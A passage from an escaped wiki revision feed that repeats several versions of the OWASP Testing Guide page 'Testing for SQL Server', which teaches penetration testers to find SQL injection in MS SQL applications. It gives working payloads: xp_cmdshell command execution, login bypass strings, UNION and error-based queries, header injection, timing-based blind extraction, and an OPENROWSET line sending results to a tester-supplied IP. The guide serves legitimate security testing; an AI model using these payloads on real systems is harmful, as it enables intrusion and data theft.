Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referrer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
# Daniel Bleichenbacher, Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1, CRYPTO 1998, pp1-12.&lt;br /&gt;
# Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
# Steve Friedl's Unixwiz.net Tech Tips. SQL Injection Attacks by Example. [[http://www.unixwiz.net/techtips/sql-injection.html]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11534</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11534"/>
				<updated>2006-11-03T20:55:02Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
==1.1 How to Test==&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Stored procedures:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].&lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==1.2 Black Box testing and example==&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referrer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
# Daniel Bleichenbacher, Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1, CRYPTO 1998, pp1-12.&lt;br /&gt;
# Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
# Steve Friedl's Unixwiz.net Tech Tips. SQL Injection Attacks by Example. [[http://www.unixwiz.net/techtips/sql-injection.html]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11533</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11533"/>
				<updated>2006-11-03T20:53:05Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
==1.1 How to Test==&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Stored procedures:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].&lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==1.2 Black Box testing and example==&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
